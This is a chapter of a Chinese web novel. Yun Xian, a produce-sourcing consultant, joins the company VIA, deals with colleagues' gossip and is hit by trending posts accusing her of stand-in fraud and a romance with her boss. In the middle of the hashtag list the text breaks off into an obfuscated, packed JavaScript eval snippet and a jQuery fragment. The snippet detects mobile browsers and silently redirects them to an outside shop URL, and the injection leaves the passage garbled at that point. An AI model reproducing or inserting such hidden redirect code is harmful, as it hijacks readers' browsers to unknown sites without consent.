翌日一早，云羡出现在VIA。
杨帆领她穿过大厅，刷卡进了助农事业部的办公区。
会议室里已经坐满了人，长桌两侧是事业部的核心成员，沈绥坐在长桌一端，面前摊着一份青山村冷链修改方案。
“介绍一下。”沈绥等她走进来，朝长桌方向抬了抬下巴，“云羡，产地对接顾问，青山村合作社的负责人，桃花村助农项目的产地评估也是她做的，以后事业部的产地筛选和品控对接，由她牵头。”
长桌两边响起稀稀落落的掌声。
方领队推了推眼镜，朝她点了下头，算是已经熟悉了的招呼。
品牌包装负责人是个三十出头的女人，妆容精致，目光在云羡身上从头到脚扫了一遍，然后低头继续看手机。
她旁边坐着另一个项目助理，小声嘀咕了一句：“这不是那个综艺里修屋顶的明星吗？”
刚说完就被旁边的人用胳膊肘捅了一下，闭上了嘴。
云羡在沈绥旁边的空位坐下，从帆布包里拿出笔记本和U盘，开始逐项汇报青山村和桃花村的品控数据、冷链进度和下一步的产地筛选计划。
她说话的时候没有人打断，但会议室里的气氛不算轻松。
那个低头看手机的品牌包装负责人偶尔抬头看她一眼，两个项目助理在底下交换了一个意味深长的眼神。
“长得跟云瑶一模一样，该不会是靠关系进来的吧？”
另一个抿着嘴没接话，但眼神说明了一切。
云羡继续把苹果产区的初步调研数据调出来，逐项分析海拔数据的异常值和修正方案。
会议结束后，云羡收拾好东西走出会议室。
走廊里那两个项目助理并肩走在她前面，没有注意到她，还在继续刚才的话题：“刚才开会的时候沈总一直盯着她看，你说她跟沈总到底什么关系啊？空降过来直接当顾问，连面试都没面。”
另一个刚想接话，一回头看见云羡就在后面，脸色瞬间变了，拉着同伴快步拐进了茶水间。
云羡跟在他们后面推门走了进去。
两个项目助理看见是她，脸上的表情异常心虚。
云羡走到咖啡机前拿起一个纸杯，接了杯温水，然后靠在吧台边：“你们对我的出现有疑虑，这很正常，我的工作能力和专业判断，欢迎你们随时监督。”
“但如果是对我与工作无关的私事有好奇，我不希望有人在背后议论，如果有什么想知道的，可以直接来问我，我比你们想象的更好说话，但背后说的话，我不接受。”
两人没想到云羡会这么直接，其中一个脸上迅速堆起一个微笑：“云顾问，您多虑了！我们刚才就是随口聊两句，真没别的意思，您别往心里去啊，我们都是粗人，说话不过脑子，您大人有大量。”
旁边那个也跟着笑起来，一边笑一边往门口挪了半步：“对对对，云顾问您忙您忙，我们那边还有个表要交！”
两人边说边退到门口，看到走廊里的沈绥立刻问候了一句沈总，然后溜之大吉。
云羡推开茶水间的门走了出去，沈绥看见她从茶水间出来，挑了下眉。
“解决了？”
“没解决，只是说清楚了。”云羡继续往前走。
沈绥跟在她身后：“职场上的闲话你不可能靠一次谈话就杜绝，你今天说清楚了边界在哪里，她们只要不越线，就可以当没事发生，如果越线了，跟我说。”
云羡停下脚步，回头看他，点了点头。
接下来几天，云羡的时间被工作填得密不透风。
苹果产区的海拔异常值修正完毕，方领队带品控团队去实地采样，每天传回一批数据，她逐项核对。
茶叶产区的有机认证排期表交上来，她发现认证节点的截止时间比行业常规提前了两个月，追溯源头，是当地合作社为了赶早春茶上市自己往前压了周期。
她给那边负责人打了个电话，逐条说明为什么必须严格按常规周期排期。
工程师发来冷库通道的施工图，她对着图纸标注了七个需要修改的细节，从路面坡度到排水沟位置，每一条都附上修改依据，抄送给沈绥。
品牌包装负责人——她后来知道那人姓周，在VIA做了三年，是出了名的挑剔。
她起初对云羡的方案有些不以为然，开会时总提些不痛不痒的问题，有时甚至会故意把她的方案压到最后才看。
云羡没说什么，只是在某次讨论会上把她经手的几个产地的数据做成一份详尽的对比表，逐条对应周组长之前提出的意见。
会后，周组长破天荒的主动敲了她的工位，问她对茶叶的包装文案有没有什么建议。
云羡想了想，说可以突出产地海拔和手工揉捻工艺，避开市场饱和的高山云雾套路。
周组长揉了揉眉心，说她确实懂。
从那以后，开会时她的方案总是第一个被翻开。
周五下午，云羡正在工位上核对下周的品控排期表，手机震了一下。
是林一回发来的语音条：“云羡姐！江湖救急！我接了个新综艺，户外生存类的，导演让我提前学认几种能吃的野菜，你之前教我的马齿苋和龙葵我都记住了！但是那个节目组说要去西北！西北有什么能吃的野菜啊？你现在在公司吗？我能不能去找你补课？”
云羡笑了笑：“可以，下班后来VIA。”
消息发出去后，林一回秒回了三个感叹号加一个跪地磕头的表情包。
她放下手机，把下周的品控排期表保存好，靠在椅背上，看着窗外京市的夕阳从天际线边缘慢慢沉下去。
办公室里的同事陆续收拾东西下班，有人经过她工位时会跟她说一声云顾问明天见。
这间办公室，这些同事，这座她以为会格格不入的城市，正在一点一点接纳她。
*
这天，云羡刚下班回到公寓，手机便开始震动个不停。
她坐到沙发上点开看，发现好些人给她发了微博热搜的链接，云瑶和杨帆还分别给她打了好几通电话。
她点开热搜一看：#云瑶替身实锤#、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682141|202160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
#云瑶姐姐与VIA老板恋情#、#云羡空降VIA顾问#
三条热搜像三颗炸弹，把整个文娱榜炸得硝烟弥漫。
热门第一条是一个自称《归园》前工作人员的小号发的长文，配了签名对比图、微表情对比图、下意识行为对比图，以及说话方式的对比。
长文看似客观冷静，逐条列举云羡替云瑶上综艺的证据，字里行间却处处暗示这是一场精心策划的骗局。
赵君柔几乎是秒转了这条微博，配文：“早就说过，认真演戏的人不该被这样对待。”
这话乍看是为云瑶抱不平，但落在当前语境里，更像是暗指云羡不配替妹妹站在镜头前，也不配得到观众对“云瑶”的好感。
紧接着第二条就是沈绥去机场接她的照片，车停在公寓楼下的照片，两人一起进公寓的连拍照片，文案：替身上位，老板护航，资源咖的登天梯。
评论区里骂声一片。
「诈骗！这是诈骗！节目组和VIA联合诈骗观众！」
「云瑶自己不敢上综艺找姐姐替，两姐妹都不是好东西！」
「那个姐姐不是说自己种地的吗？怎么跑京市去了？种地的人设也是假的吧！」
「难怪她能空降VIA的顾问，原来是睡上去的啊！」
「一边立农村人设一边跟老板搞暧昧，又当又立，恶心透了！」
「品控数据那些肯定也是假的，都是资本捧出来的！」
「强烈要求广电封杀这种欺诈艺人！」
「替身确实不对，但人家干的活是真的啊！」
「她在直播间教观众生存技能，这些东西是假的吗？赵君柔干过一件实事吗？」
「如果替身是真的，那姐姐也太牛了，一个人把整个节目组都撑起来了。」
「我管她是不是替身，她卖的香菇真的好吃，泡菇水炖汤绝了，我又补了两袋。」
「沈绥单身，云羡单身，就算谈恋爱又怎么了？碍着谁了？」
「照片里沈绥去机场接云羡，这有什么问题？哪个男朋友不会去接机？」
「赵君柔有本事拿作品说话，别天天买热搜黑别人。」
「这波我站云家姐妹，没有为什么，只因为她们长得好看（舔屏）」
杨帆的电话在云羡看完热搜的同时打了进来。
“云小姐，你看热搜了吧，这次跟之前不一样，替身和恋情两件事搅在一起，水军把节奏往资源咖和利益输送上带，性质已经从娱乐八卦升级成商业信誉问题了，不能冷处理，得公开说明。”
云羡嗯了一声：“沈总那边怎么说？”
杨帆语气有些焦灼：“沈总那边我现在联系不上，电话没人接，他助理也说不清楚他在哪。”
云羡点了点头：“知道了，先让云瑶发声明，她不是要转型吗？就从这个开始，不过不要公关稿，让她自己写。”
“行，我这就去联系她——”杨帆那边传来一阵窸窣声，“啊！？云瑶怎么发了！我刚还叫她先按兵不动的！不是，她写了什么我看看！”